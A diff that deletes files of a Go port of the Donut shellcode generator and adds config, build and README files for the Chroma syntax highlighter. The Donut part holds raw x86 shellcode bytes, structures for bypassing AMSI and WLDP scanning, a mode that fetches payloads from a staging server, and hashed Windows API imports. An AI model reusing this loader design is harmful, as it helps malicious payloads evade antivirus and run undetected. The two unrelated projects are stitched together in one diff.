0x74, 0x24, 0x0c, 0x8d, 0x34, 0x70, 0xe8, 0xb3, 0xff, 0xff, 0xff, 0x59,
0x59, 0x85, 0xc0, 0x75, 0xe5, 0x8b, 0xc6, 0x5e, 0xc3, 0x8b, 0x54, 0x24,
0x0c, 0x8b, 0x44, 0x24, 0x04, 0x56, 0x8b, 0xf0, 0x85, 0xd2, 0x74, 0x13,
0x57, 0x8b, 0x7c, 0x24, 0x10, 0x2b, 0xf8, 0x8a, 0x0c, 0x37, 0x88, 0x0e,
0x46, 0x83, 0xea, 0x01, 0x75, 0xf5, 0x5f, 0x5e, 0xc3, 0x8a, 0x44, 0x24,
0x08, 0x8b, 0x4c, 0x24, 0x0c, 0x57, 0x8b, 0x7c, 0x24, 0x08, 0xf3, 0xaa,
0x8b, 0x44, 0x24, 0x08, 0x5f, 0xc3, 0x8b, 0x44, 0x24, 0x04, 0x8b, 0x4c,
0x24, 0x08, 0x53, 0x8a, 0x10, 0x84, 0xd2, 0x74, 0x0e, 0x8a, 0x19, 0x84,
0xdb, 0x74, 0x08, 0x3a, 0xd3, 0x75, 0x04, 0x40, 0x41, 0xeb, 0xec, 0x0f,
0xbe, 0x00, 0x0f, 0xbe, 0x09, 0x2b, 0xc1, 0x5b, 0xc3};
-430
View File
@@ -1,430 +0,0 @@
package donut
import (
"bytes"
"encoding/binary"
"io"
"github.com/google/uuid"
)
const (
// entropy level
DONUT_ENTROPY_NONE = 1 // don't use any entropy
DONUT_ENTROPY_RANDOM = 2 // use random names
DONUT_ENTROPY_DEFAULT = 3 // use random names + symmetric encryption
DONUT_MAX_PARAM = 8 // maximum number of parameters passed to method
DONUT_MAX_NAME = 256
DONUT_MAX_DLL = 8 // maximum number of DLL supported by instance
DONUT_MAX_URL = 256
DONUT_MAX_MODNAME = 8
DONUT_SIG_LEN = 8 // 64-bit string to verify decryption ok
DONUT_VER_LEN = 32
DONUT_DOMAIN_LEN = 8
MARU_MAX_STR = 64
MARU_BLK_LEN = 16
MARU_HASH_LEN = 8
MARU_IV_LEN = 8
DONUT_RUNTIME_NET4 = "v4.0.30319"
NTDLL_DLL = "ntdll.dll"
KERNEL32_DLL = "kernel32.dll"
SHELL32_DLL = "shell32.dll"
ADVAPI32_DLL = "advapi32.dll"
CRYPT32_DLL = "crypt32.dll"
MSCOREE_DLL = "mscoree.dll"
OLE32_DLL = "ole32.dll"
OLEAUT32_DLL = "oleaut32.dll"
WININET_DLL = "wininet.dll"
COMBASE_DLL = "combase.dll"
USER32_DLL = "user32.dll"
SHLWAPI_DLL = "shlwapi.dll"
)
// DonutArch - CPU architecture type (32, 64, or 32+64)
type DonutArch int
const (
// X32 - 32bit
X32 DonutArch = iota
// X64 - 64 bit
X64
// X84 - 32+64 bit
X84
)
type ModuleType int
const (
DONUT_MODULE_NET_DLL ModuleType = 1 // .NET DLL. Requires class and method
DONUT_MODULE_NET_EXE = 2 // .NET EXE. Executes Main if no class and method provided
DONUT_MODULE_DLL = 3 // Unmanaged DLL, function is optional
DONUT_MODULE_EXE = 4 // Unmanaged EXE
DONUT_MODULE_VBS = 5 // VBScript
DONUT_MODULE_JS = 6 // JavaScript or JScript
DONUT_MODULE_XSL = 7 // XSL with JavaScript/JScript or VBscript embedded
)
type InstanceType int
const (
DONUT_INSTANCE_PIC InstanceType = 1 // Self-contained
DONUT_INSTANCE_URL = 2 // Download from remote server
)
type DonutConfig struct {
Arch DonutArch
Type ModuleType
InstType InstanceType
Parameters string // separated by , or ;
Entropy uint32
// new in 0.9.3
Thread uint32
Compress uint32
Unicode uint32
OEP uint64
ExitOpt uint32
Format uint32
Domain string // .NET stuff
Class string
Method string // Used by Native DLL and .NET DLL
Runtime string
Bypass int
Module *DonutModule
ModuleName string
URL string
ModuleMac uint64
ModuleData *bytes.Buffer
inst *DonutInstance
instLen uint32
Verbose bool // Enable/Disable verbose output
}
type DonutModule struct {
ModType uint32 // EXE, DLL, JS, VBS, XSL
Thread uint32 // run entrypoint of unmanaged EXE as a thread
Compress uint32 // indicates engine used for compression
Runtime [DONUT_MAX_NAME]byte // runtime version for .NET EXE/DLL (donut max name = 256)
Domain [DONUT_MAX_NAME]byte // domain name to use for .NET EXE/DLL
Cls [DONUT_MAX_NAME]byte // name of class and optional namespace for .NET EXE/DLL
Method [DONUT_MAX_NAME]byte // name of method to invoke for .NET DLL or api for unmanaged DLL
Param [DONUT_MAX_NAME]byte // string parameters for DLL/EXE (donut max parm = 8)
Unicode uint32 // convert command line to unicode for unmanaged DLL function
Sig [DONUT_SIG_LEN]byte // random string to verify decryption
Mac uint64 // to verify decryption was ok
Zlen uint32 // compressed size of EXE/DLL/JS/VBS file
Len uint32 // size of EXE/DLL/XSL/JS/VBS file
Data [4]byte // data of EXE/DLL/XSL/JS/VBS file
}
func WriteField(w *bytes.Buffer, name string, i interface{}) {
binary.Write(w, binary.LittleEndian, i)
// todo: logging here
}
func (mod *DonutModule) WriteTo(w *bytes.Buffer) {
WriteField(w, "ModType", mod.ModType)
WriteField(w, "Thread", mod.Thread)
WriteField(w, "Compress", mod.Compress)
WriteField(w, "Runtime", mod.Runtime)
WriteField(w, "Domain", mod.Domain)
WriteField(w, "CLS", mod.Cls)
WriteField(w, "Method", mod.Method)
WriteField(w, "Param", mod.Param)
WriteField(w, "Unicode", mod.Unicode)
w.Write(mod.Sig[:DONUT_SIG_LEN])
WriteField(w, "Mac", mod.Mac)
WriteField(w, "Zlen", mod.Zlen)
WriteField(w, "Len", mod.Len)
}
type DonutInstance struct {
Len uint32 // total size of instance
//Key DonutCrypt // decrypts instance (32 bytes total = 16+16)
KeyMk [CipherKeyLen]byte // master key
KeyCtr [CipherBlockLen]byte // counter + nonce
Iv uint64 // the 64-bit initial value for maru hash
Hash [64]uint64 // holds up to 64 api hashes/addrs {api}
ExitOpt uint32 // call RtlExitUserProcess to terminate the host process
Entropy uint32 // indicates entropt option
OEP uint64 // original entrypoint
// everything from here is encrypted
ApiCount uint32 // the 64-bit hashes of API required for instance to work
DllNames [DONUT_MAX_NAME]byte // a list of DLL strings to load, separated by semi-colon
Dataname [8]byte // ".data"
Kernelbase [12]byte // "kernelbase"
Amsi [8]byte // "amsi"
Clr [4]byte // clr
Wldp [8]byte // wldp
CmdSyms [DONUT_MAX_NAME]byte // symbols related to command line
ExitApi [DONUT_MAX_NAME]byte // exit-related API
Bypass uint32 // indicates behaviour of byassing AMSI/WLDP
WldpQuery [32]byte // WldpQueryDynamicCodeTrust
WldpIsApproved [32]byte // WldpIsClassInApprovedList
AmsiInit [16]byte // AmsiInitialize
AmsiScanBuf [16]byte // AmsiScanBuffer
AmsiScanStr [16]byte // AmsiScanString
Wscript [8]byte // WScript
Wscript_exe [12]byte // wscript.exe
XIID_IUnknown uuid.UUID
XIID_IDispatch uuid.UUID
// GUID required to load .NET assemblies
XCLSID_CLRMetaHost uuid.UUID
XIID_ICLRMetaHost uuid.UUID
XIID_ICLRRuntimeInfo uuid.UUID
XCLSID_CorRuntimeHost uuid.UUID
XIID_ICorRuntimeHost uuid.UUID
XIID_AppDomain uuid.UUID
// GUID required to run VBS and JS files
XCLSID_ScriptLanguage uuid.UUID // vbs or js
XIID_IHost uuid.UUID // wscript object
XIID_IActiveScript uuid.UUID // engine
XIID_IActiveScriptSite uuid.UUID // implementation
XIID_IActiveScriptSiteWindow uuid.UUID // basic GUI stuff
XIID_IActiveScriptParse32 uuid.UUID // parser
XIID_IActiveScriptParse64 uuid.UUID
Type uint32 // DONUT_INSTANCE_PIC or DONUT_INSTANCE_URL
Url [DONUT_MAX_URL]byte // staging server hosting donut module
Req [8]byte // just a buffer for "GET"
Sig [DONUT_MAX_NAME]byte // string to hash
Mac uint64 // to verify decryption ok
ModKeyMk [CipherKeyLen]byte // master key
ModKeyCtr [CipherBlockLen]byte // counter + nonce
Mod_len uint64 // total size of module
}
func (inst *DonutInstance) WriteTo(w *bytes.Buffer) {
//start := w.Len()
WriteField(w, "Len", inst.Len)
WriteField(w, "KeyMk", inst.KeyMk)
WriteField(w, "KeyCtr", inst.KeyCtr)
for i := 0; i < 4; i++ { // padding to 8-byte alignment after 4 byte field
w.WriteByte(0)
}
WriteField(w, "Iv", inst.Iv)
WriteField(w, "Hash", inst.Hash)
WriteField(w, "ExitOpt", inst.ExitOpt)
WriteField(w, "Entropy", inst.Entropy)
WriteField(w, "OEP", inst.OEP)
WriteField(w, "ApiCount", inst.ApiCount)
WriteField(w, "DllNames", inst.DllNames)
WriteField(w, "Dataname", inst.Dataname)
WriteField(w, "Kernelbase", inst.Kernelbase)
WriteField(w, "Amsi", inst.Amsi)
WriteField(w, "Clr", inst.Clr)
WriteField(w, "Wldp", inst.Wldp)
WriteField(w, "CmdSyms", inst.CmdSyms)
WriteField(w, "ExitApi", inst.ExitApi)
WriteField(w, "Bypass", inst.Bypass)
WriteField(w, "WldpQuery", inst.WldpQuery)
WriteField(w, "WldpIsApproved", inst.WldpIsApproved)
WriteField(w, "AmsiInit", inst.AmsiInit)
WriteField(w, "AmsiScanBuf", inst.AmsiScanBuf)
WriteField(w, "AmsiScanStr", inst.AmsiScanStr)
WriteField(w, "Wscript", inst.Wscript)
WriteField(w, "WscriptExe", inst.Wscript_exe)
swapUUID(w, inst.XIID_IUnknown)
swapUUID(w, inst.XIID_IDispatch)
swapUUID(w, inst.XCLSID_CLRMetaHost)
swapUUID(w, inst.XIID_ICLRMetaHost)
swapUUID(w, inst.XIID_ICLRRuntimeInfo)
swapUUID(w, inst.XCLSID_CorRuntimeHost)
swapUUID(w, inst.XIID_ICorRuntimeHost)
swapUUID(w, inst.XIID_AppDomain)
swapUUID(w, inst.XCLSID_ScriptLanguage)
swapUUID(w, inst.XIID_IHost)
swapUUID(w, inst.XIID_IActiveScript)
swapUUID(w, inst.XIID_IActiveScriptSite)
swapUUID(w, inst.XIID_IActiveScriptSiteWindow)
swapUUID(w, inst.XIID_IActiveScriptParse32)
swapUUID(w, inst.XIID_IActiveScriptParse64)
WriteField(w, "Type", inst.Type)
WriteField(w, "Url", inst.Url)
WriteField(w, "Req", inst.Req)
WriteField(w, "Sig", inst.Sig)
WriteField(w, "Mac", inst.Mac)
WriteField(w, "ModKeyMk", inst.ModKeyMk)
WriteField(w, "ModKeCtr", inst.ModKeyCtr)
WriteField(w, "Mod_len", inst.Mod_len)
}
type API_IMPORT struct {
Module string
Name string
}
var api_imports = []API_IMPORT{
API_IMPORT{Module: KERNEL32_DLL, Name: "LoadLibraryA"}, //0
API_IMPORT{Module: KERNEL32_DLL, Name: "GetProcAddress"},
API_IMPORT{Module: KERNEL32_DLL, Name: "GetModuleHandleA"},
API_IMPORT{Module: KERNEL32_DLL, Name: "VirtualAlloc"},
API_IMPORT{Module: KERNEL32_DLL, Name: "VirtualFree"},
API_IMPORT{Module: KERNEL32_DLL, Name: "VirtualQuery"}, // 5
API_IMPORT{Module: KERNEL32_DLL, Name: "VirtualProtect"},
API_IMPORT{Module: KERNEL32_DLL, Name: "Sleep"},
API_IMPORT{Module: KERNEL32_DLL, Name: "MultiByteToWideChar"},
API_IMPORT{Module: KERNEL32_DLL, Name: "GetUserDefaultLCID"},
API_IMPORT{Module: KERNEL32_DLL, Name: "WaitForSingleObject"}, //10
API_IMPORT{Module: KERNEL32_DLL, Name: "CreateThread"},
API_IMPORT{Module: KERNEL32_DLL, Name: "GetThreadContext"},
API_IMPORT{Module: KERNEL32_DLL, Name: "GetCurrentThread"},
API_IMPORT{Module: KERNEL32_DLL, Name: "GetCommandLineA"},
API_IMPORT{Module: KERNEL32_DLL, Name: "GetCommandLineW"}, // 15
API_IMPORT{Module: SHELL32_DLL, Name: "CommandLineToArgvW"},
API_IMPORT{Module: OLEAUT32_DLL, Name: "SafeArrayCreate"},
API_IMPORT{Module: OLEAUT32_DLL, Name: "SafeArrayCreateVector"},
API_IMPORT{Module: OLEAUT32_DLL, Name: "SafeArrayPutElement"},
API_IMPORT{Module: OLEAUT32_DLL, Name: "SafeArrayDestroy"}, // 20
API_IMPORT{Module: OLEAUT32_DLL, Name: "SafeArrayGetLBound"},
API_IMPORT{Module: OLEAUT32_DLL, Name: "SafeArrayGetUBound"},
API_IMPORT{Module: OLEAUT32_DLL, Name: "SysAllocString"},
API_IMPORT{Module: OLEAUT32_DLL, Name: "SysFreeString"},
API_IMPORT{Module: OLEAUT32_DLL, Name: "LoadTypeLib"}, // 25
API_IMPORT{Module: WININET_DLL, Name: "InternetCrackUrlA"},
API_IMPORT{Module: WININET_DLL, Name: "InternetOpenA"},
API_IMPORT{Module: WININET_DLL, Name: "InternetConnectA"},
API_IMPORT{Module: WININET_DLL, Name: "InternetSetOptionA"},
API_IMPORT{Module: WININET_DLL, Name: "InternetReadFile"}, // 30
API_IMPORT{Module: WININET_DLL, Name: "InternetCloseHandle"},
API_IMPORT{Module: WININET_DLL, Name: "HttpOpenRequestA"},
API_IMPORT{Module: WININET_DLL, Name: "HttpSendRequestA"},
API_IMPORT{Module: WININET_DLL, Name: "HttpQueryInfoA"},
API_IMPORT{Module: MSCOREE_DLL, Name: "CorBindToRuntime"}, // 35
API_IMPORT{Module: MSCOREE_DLL, Name: "CLRCreateInstance"},
API_IMPORT{Module: OLE32_DLL, Name: "CoInitializeEx"},
API_IMPORT{Module: OLE32_DLL, Name: "CoCreateInstance"},
API_IMPORT{Module: OLE32_DLL, Name: "CoUninitialize"},
API_IMPORT{Module: NTDLL_DLL, Name: "RtlEqualUnicodeString"}, // 40
API_IMPORT{Module: NTDLL_DLL, Name: "RtlEqualString"},
API_IMPORT{Module: NTDLL_DLL, Name: "RtlUnicodeStringToAnsiString"},
API_IMPORT{Module: NTDLL_DLL, Name: "RtlInitUnicodeString"},
API_IMPORT{Module: NTDLL_DLL, Name: "RtlExitUserThread"},
API_IMPORT{Module: NTDLL_DLL, Name: "RtlExitUserProcess"}, // 45
API_IMPORT{Module: NTDLL_DLL, Name: "RtlCreateUnicodeString"},
API_IMPORT{Module: NTDLL_DLL, Name: "RtlGetCompressionWorkSpaceSize"},
API_IMPORT{Module: NTDLL_DLL, Name: "RtlDecompressBuffer"},
API_IMPORT{Module: NTDLL_DLL, Name: "NtContinue"},
API_IMPORT{Module: KERNEL32_DLL, Name: "AddVectoredExceptionHandler"}, // 50
API_IMPORT{Module: KERNEL32_DLL, Name: "RemoveVectoredExceptionHandler"},
}
// required to load .NET assemblies
var ( //the first 6 bytes of these were int32+int16, need to be swapped on write
xCLSID_CorRuntimeHost = uuid.UUID{
0xcb, 0x2f, 0x67, 0x23, 0xab, 0x3a, 0x11, 0xd2, 0x9c, 0x40, 0x00, 0xc0, 0x4f, 0xa3, 0x0a, 0x3e}
xIID_ICorRuntimeHost = uuid.UUID{
0xcb, 0x2f, 0x67, 0x22, 0xab, 0x3a, 0x11, 0xd2, 0x9c, 0x40, 0x00, 0xc0, 0x4f, 0xa3, 0x0a, 0x3e}
xCLSID_CLRMetaHost = uuid.UUID{
0x92, 0x80, 0x18, 0x8d, 0x0e, 0x8e, 0x48, 0x67, 0xb3, 0xc, 0x7f, 0xa8, 0x38, 0x84, 0xe8, 0xde}
xIID_ICLRMetaHost = uuid.UUID{
0xD3, 0x32, 0xDB, 0x9E, 0xB9, 0xB3, 0x41, 0x25, 0x82, 0x07, 0xA1, 0x48, 0x84, 0xF5, 0x32, 0x16}
xIID_ICLRRuntimeInfo = uuid.UUID{
0xBD, 0x39, 0xD1, 0xD2, 0xBA, 0x2F, 0x48, 0x6a, 0x89, 0xB0, 0xB4, 0xB0, 0xCB, 0x46, 0x68, 0x91}
xIID_AppDomain = uuid.UUID{
0x05, 0xF6, 0x96, 0xDC, 0x2B, 0x29, 0x36, 0x63, 0xAD, 0x8B, 0xC4, 0x38, 0x9C, 0xF2, 0xA7, 0x13}
// required to load VBS and JS files
xIID_IUnknown = uuid.UUID{
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46}
xIID_IDispatch = uuid.UUID{
0x00, 0x02, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46}
xIID_IHost = uuid.UUID{
0x91, 0xaf, 0xbd, 0x1b, 0x5f, 0xeb, 0x43, 0xf5, 0xb0, 0x28, 0xe2, 0xca, 0x96, 0x06, 0x17, 0xec}
xIID_IActiveScript = uuid.UUID{
0xbb, 0x1a, 0x2a, 0xe1, 0xa4, 0xf9, 0x11, 0xcf, 0x8f, 0x20, 0x00, 0x80, 0x5f, 0x2c, 0xd0, 0x64}
xIID_IActiveScriptSite = uuid.UUID{
0xdb, 0x01, 0xa1, 0xe3, 0xa4, 0x2b, 0x11, 0xcf, 0x8f, 0x20, 0x00, 0x80, 0x5f, 0x2c, 0xd0, 0x64}
xIID_IActiveScriptSiteWindow = uuid.UUID{
0xd1, 0x0f, 0x67, 0x61, 0x83, 0xe9, 0x11, 0xcf, 0x8f, 0x20, 0x00, 0x80, 0x5f, 0x2c, 0xd0, 0x64}
xIID_IActiveScriptParse32 = uuid.UUID{
0xbb, 0x1a, 0x2a, 0xe2, 0xa4, 0xf9, 0x11, 0xcf, 0x8f, 0x20, 0x00, 0x80, 0x5f, 0x2c, 0xd0, 0x64}
xIID_IActiveScriptParse64 = uuid.UUID{
0xc7, 0xef, 0x76, 0x58, 0xe1, 0xee, 0x48, 0x0e, 0x97, 0xea, 0xd5, 0x2c, 0xb4, 0xd7, 0x6d, 0x17}
xCLSID_VBScript = uuid.UUID{
0xB5, 0x4F, 0x37, 0x41, 0x5B, 0x07, 0x11, 0xcf, 0xA4, 0xB0, 0x00, 0xAA, 0x00, 0x4A, 0x55, 0xE8}
xCLSID_JScript = uuid.UUID{
0xF4, 0x14, 0xC2, 0x60, 0x6A, 0xC0, 0x11, 0xCF, 0xB6, 0xD1, 0x00, 0xAA, 0x00, 0xBB, 0xBB, 0x58}
// required to load XSL files
xCLSID_DOMDocument30 = uuid.UUID{
0xf5, 0x07, 0x8f, 0x32, 0xc5, 0x51, 0x11, 0xd3, 0x89, 0xb9, 0x00, 0x00, 0xf8, 0x1f, 0xe2, 0x21}
xIID_IXMLDOMDocument = uuid.UUID{
0x29, 0x33, 0xBF, 0x81, 0x7B, 0x36, 0x11, 0xD2, 0xB2, 0x0E, 0x00, 0xC0, 0x4F, 0x98, 0x3E, 0x60}
xIID_IXMLDOMNode = uuid.UUID{
0x29, 0x33, 0xbf, 0x80, 0x7b, 0x36, 0x11, 0xd2, 0xb2, 0x0e, 0x00, 0xc0, 0x4f, 0x98, 0x3e, 0x60}
)
func swapUUID(w io.Writer, u uuid.UUID) {
bu := new(bytes.Buffer)
binary.Write(bu, binary.LittleEndian, u)
var a uint32
var b, c uint16
binary.Read(bu, binary.BigEndian, &a)
binary.Read(bu, binary.BigEndian, &b)
binary.Read(bu, binary.BigEndian, &c)
binary.Write(w, binary.LittleEndian, a)
binary.Write(w, binary.LittleEndian, b)
binary.Write(w, binary.LittleEndian, c)
bu.WriteTo(w)
}
-44
View File
@@ -1,44 +0,0 @@
package donut
import (
"bytes"
"crypto/rand"
"io"
"math/big"
"net/http"
)
// RandomString - generates random string of given length
func RandomString(len int) string {
bytes := make([]byte, len)
for i := 0; i < len; i++ {
r, _ := rand.Int(rand.Reader, big.NewInt(25))
bytes[i] = 97 + byte(r.Int64()) //a=97
}
return string(bytes)
}
// DownloadFile will download an URL to a byte buffer
func DownloadFile(url string) (*bytes.Buffer, error) {
resp, err := http.Get(url)
if err != nil {
return nil, err
}
defer resp.Body.Close()
buf := bytes.NewBuffer([]byte{})
_, err = io.Copy(buf, resp.Body)
if err != nil {
return nil, err
}
return buf, nil
}
// GenerateRandomBytes : Generates as many random bytes as you ask for, returns them as []byte
func GenerateRandomBytes(count int) ([]byte, error) {
b := make([]byte, count)
if _, err := io.ReadFull(rand.Reader, b); err != nil {
return nil, err
}
return b, nil
}
+17
View File
@@ -0,0 +1,17 @@
root = true
[*]
indent_style = tab
end_of_line = lf
charset = utf-8
trim_trailing_whitespace = true
insert_final_newline = true
[*.xml]
indent_style = space
indent_size = 2
insert_final_newline = false
[*.yml]
indent_style = space
indent_size = 2
+28
View File
@@ -0,0 +1,28 @@
# Binaries for programs and plugins
.git
.idea
.vscode
.hermit
*.exe
*.dll
*.so
*.dylib
/cmd/chroma/chroma
# Test binary, build with `go test -c`
*.test
# Output of the go coverage tool, specifically when used with LiteIDE
*.out
# Project-local glide cache, RE: https://github.com/Masterminds/glide/issues/736
.glide/
_models/
_examples/
*.min.*
build/
cmd/chromad/static/chroma.wasm
cmd/chromad/static/wasm_exec.js
+89
View File
@@ -0,0 +1,89 @@
run:
tests: true
output:
print-issued-lines: false
linters:
enable-all: true
disable:
- lll
- gocyclo
- dupl
- gochecknoglobals
- funlen
- godox
- wsl
- gocognit
- nolintlint
- testpackage
- godot
- nestif
- paralleltest
- nlreturn
- cyclop
- gci
- gofumpt
- errorlint
- exhaustive
- wrapcheck
- stylecheck
- thelper
- nonamedreturns
- revive
- dupword
- exhaustruct
- varnamelen
- forcetypeassert
- ireturn
- maintidx
- govet
- testableexamples
- musttag
- depguard
- goconst
- perfsprint
- mnd
- predeclared
- recvcheck
- tenv
- err113
linters-settings:
gocyclo:
min-complexity: 10
dupl:
threshold: 100
goconst:
min-len: 8
min-occurrences: 3
forbidigo:
#forbid:
# - (Must)?NewLexer$
exclude_godoc_examples: false
issues:
exclude-dirs:
- _examples
max-per-linter: 0
max-same: 0
exclude-use-default: false
exclude:
# Captured by errcheck.
- '^(G104|G204):'
# Very commonly not checked.
- 'Error return value of .(.*\.Help|.*\.MarkFlagRequired|(os\.)?std(out|err)\..*|.*Close|.*Flush|os\.Remove(All)?|.*printf?|os\.(Un)?Setenv). is not checked'
- 'exported method (.*\.MarshalJSON|.*\.UnmarshalJSON|.*\.EntityURN|.*\.GoString|.*\.Pos) should have comment or be unexported'
- 'composite literal uses unkeyed fields'
- 'declaration of "err" shadows declaration'
- 'should not use dot imports'
- 'Potential file inclusion via variable'
- 'should have comment or be unexported'
- 'comment on exported var .* should be of the form'
- 'at least one file in a package should have a package comment'
- 'string literal contains the Unicode'
- 'methods on the same type should have the same receiver name'
- '_TokenType_name should be _TokenTypeName'
- '`_TokenType_map` should be `_TokenTypeMap`'
- 'rewrite if-else to switch statement'
+34
View File
@@ -0,0 +1,34 @@
project_name: chroma
release:
github:
owner: alecthomas
name: chroma
brews:
- install: bin.install "chroma"
env:
- CGO_ENABLED=0
builds:
- goos:
- linux
- darwin
- windows
goarch:
- arm64
- amd64
- "386"
goarm:
- "6"
dir: ./cmd/chroma
main: .
ldflags: -s -w -X main.version={{.Version}} -X main.commit={{.Commit}} -X main.date={{.Date}}
binary: chroma
archives:
- format: tar.gz
name_template: "{{ .Binary }}-{{ .Version }}-{{ .Os }}-{{ .Arch }}{{ if .Arm }}v{{ .Arm }}{{ end }}"
files:
- COPYING
- README*
snapshot:
name_template: SNAPSHOT-{{ .Commit }}
checksum:
name_template: "{{ .ProjectName }}-{{ .Version }}-checksums.txt"
+11
View File
@@ -0,0 +1,11 @@
Chroma is a syntax highlighting library, tool and web playground for Go. It is based on Pygments and includes importers for it, so most of the same concepts from Pygments apply to Chroma.
This project is written in Go, uses Hermit to manage tooling, and Just for helper commands. Helper scripts are in ./scripts.
Language definitions are XML files defined in ./lexers/embedded/*.xml.
Styles/themes are defined in ./styles/*.xml.
The CLI can be run with `chroma`.
The web playground can be run with `chromad --csrf-key=moo`. It blocks, so should generally be run in the background. It also does not hot reload, so has to be manually restarted. The playground has two modes - for local development it uses the server itself to render, while for production running `just chromad` will compile ./cmd/libchromawasm into a WASM module that is bundled into `chromad`.
+24
View File
@@ -0,0 +1,24 @@
VERSION = %(git describe --tags --dirty --always)%
export CGOENABLED = 0
tokentype_enumer.go: types.go
build: go generate
# Regenerate the list of lexers in the README
README.md: lexers/*.go lexers/*/*.xml table.py
build: ./table.py
-clean
implicit %{1}%{2}.min.%{3}: **/*.{css,js}
build: esbuild --bundle %{IN} --minify --outfile=%{OUT}
implicit build/%{1}: cmd/*
cd cmd/%{1}
inputs: cmd/%{1}/**/* **/*.go
build: go build -ldflags="-X 'main.version=%{VERSION}'" -o ../../build/%{1} .
#upload: chromad
# build:
# scp chromad [email protected]:
# ssh [email protected] 'install -m755 ./chromad /srv/http/swapoff.org/bin && service chromad restart'
# touch upload
+19
View File
@@ -0,0 +1,19 @@
Copyright (C) 2017 Alec Thomas
Permission is hereby granted, free of charge, to any person obtaining a copy of
this software and associated documentation files (the "Software"), to deal in
the Software without restriction, including without limitation the rights to
use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies
of the Software, and to permit persons to whom the Software is furnished to do
so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
+64
View File
@@ -0,0 +1,64 @@
# Multi-stage Dockerfile for chromad Go application using Hermit-managed tools
# Build stage
FROM ubuntu:24.04 AS builder
# Install system dependencies
RUN apt-get update && apt-get install -y \
curl \
git \
ca-certificates \
&& rm -rf /var/lib/apt/lists/*
# Set working directory
WORKDIR /app
# Copy the entire project (including bin directory with Hermit tools)
COPY . .
# Make Hermit tools executable and add to PATH
ENV PATH="/app/bin:${PATH}"
# Set Go environment variables for static compilation
ENV CGO_ENABLED=0
ENV GOOS=linux
ENV GOARCH=amd64
# Build the application using just
RUN just chromad
# Runtime stage
FROM alpine:3.23 AS runtime
# Install ca-certificates for HTTPS requests
RUN apk --no-cache add ca-certificates curl
# Create a non-root user
RUN addgroup -g 1001 chromad && \
adduser -D -s /bin/sh -u 1001 -G chromad chromad
# Set working directory
WORKDIR /app
# Copy the binary from build stage
COPY --from=builder /app/build/chromad /app/chromad
# Change ownership to non-root user
RUN chown chromad:chromad /app/chromad
# Switch to non-root user
USER chromad
# Expose port (default is 8080, but can be overridden via PORT env var)
EXPOSE 8080
# Set default environment variables
ENV PORT=8080
ENV CHROMA_CSRF_KEY="testtest"
# Health check
HEALTHCHECK --interval=30s --timeout=3s --start-period=5s --retries=3 \
CMD curl -fsSL http://127.0.0.1:8080/ > /dev/null
# Run the application
CMD ["sh", "-c", "./chromad --csrf-key=$CHROMA_CSRF_KEY --bind=0.0.0.0:$PORT"]
+55
View File
@@ -0,0 +1,55 @@
set positional-arguments := true
set shell := ["bash", "-c"]
version := `git describe --tags --dirty --always`
export GOOS := env("GOOS", "linux")
export GOARCH := env("GOARCH", "amd64")
_help:
@just -l
# Generate README.md from lexer definitions
readme:
#!/usr/bin/env bash
GOOS= GOARCH= ./table.py
# Generate tokentype_string.go
tokentype-string:
go generate
# Format JavaScript files
format-js:
biome format --write cmd/chromad/static/index.js cmd/chromad/static/chroma.js
# Build chromad binary
chromad: wasm-exec chroma-wasm
#!/usr/bin/env bash
rm -rf build
mk cmd/chromad/static/index.min.js : cmd/chromad/static/{index,chroma}.js -- \
esbuild --platform=browser --format=esm --bundle cmd/chromad/static/index.js --minify --external:./wasm_exec.js --outfile=cmd/chromad/static/index.min.js
mk cmd/chromad/static/index.min.css : cmd/chromad/static/index.css -- \
esbuild --bundle cmd/chromad/static/index.css --minify --outfile=cmd/chromad/static/index.min.css
cd cmd/chromad && CGOENABLED=0 go build -ldflags="-X 'main.version={{ version }}'" -o ../../build/chromad .
# Copy wasm_exec.js from TinyGo
wasm-exec:
#!/usr/bin/env bash
tinygoroot=$(tinygo env TINYGOROOT)
mk cmd/chromad/static/wasm_exec.js : "$tinygoroot/targets/wasm_exec.js" -- \
install -m644 "$tinygoroot/targets/wasm_exec.js" cmd/chromad/static/wasm_exec.js
# Build WASM binary
chroma-wasm:
#!/usr/bin/env bash
if type tinygo > /dev/null 2>&1; then
mk cmd/chromad/static/chroma.wasm : cmd/libchromawasm/main.go -- \
tinygo build -no-debug -target wasm -o cmd/chromad/static/chroma.wasm cmd/libchromawasm/main.go
else
mk cmd/chromad/static/chroma.wasm : cmd/libchromawasm/main.go -- \
GOOS=js GOARCH=wasm go build -o cmd/chromad/static/chroma.wasm cmd/libchromawasm/main.go
fi
# Upload chromad to server
upload: chromad
scp build/chromad [email protected]:
ssh [email protected] 'install -m755 ./chromad /srv/http/swapoff.org/bin && service chromad restart'
+307
View File
@@ -0,0 +1,307 @@
![Chroma](chroma.jpg)
# A general purpose syntax highlighter in pure Go
[![Go Reference](https://pkg.go.dev/badge/github.com/alecthomas/chroma/v2.svg)](https://pkg.go.dev/github.com/alecthomas/chroma/v2) [![CI](https://github.com/alecthomas/chroma/actions/workflows/ci.yml/badge.svg)](https://github.com/alecthomas/chroma/actions/workflows/ci.yml) [![Slack chat](https://img.shields.io/static/v1?logo=slack&style=flat&label=slack&color=green&message=gophers)](https://invite.slack.golangbridge.org/)
Chroma takes source code and other structured text and converts it into syntax
highlighted HTML, ANSI-coloured text, etc.
Chroma is based heavily on [Pygments](http://pygments.org/), and includes
translators for Pygments lexers and styles.
## Table of Contents
<!-- TOC -->
1. [Supported languages](#supported-languages)
2. [Try it](#try-it)
3. [Using the library](#using-the-library)
1. [Quick start](#quick-start)
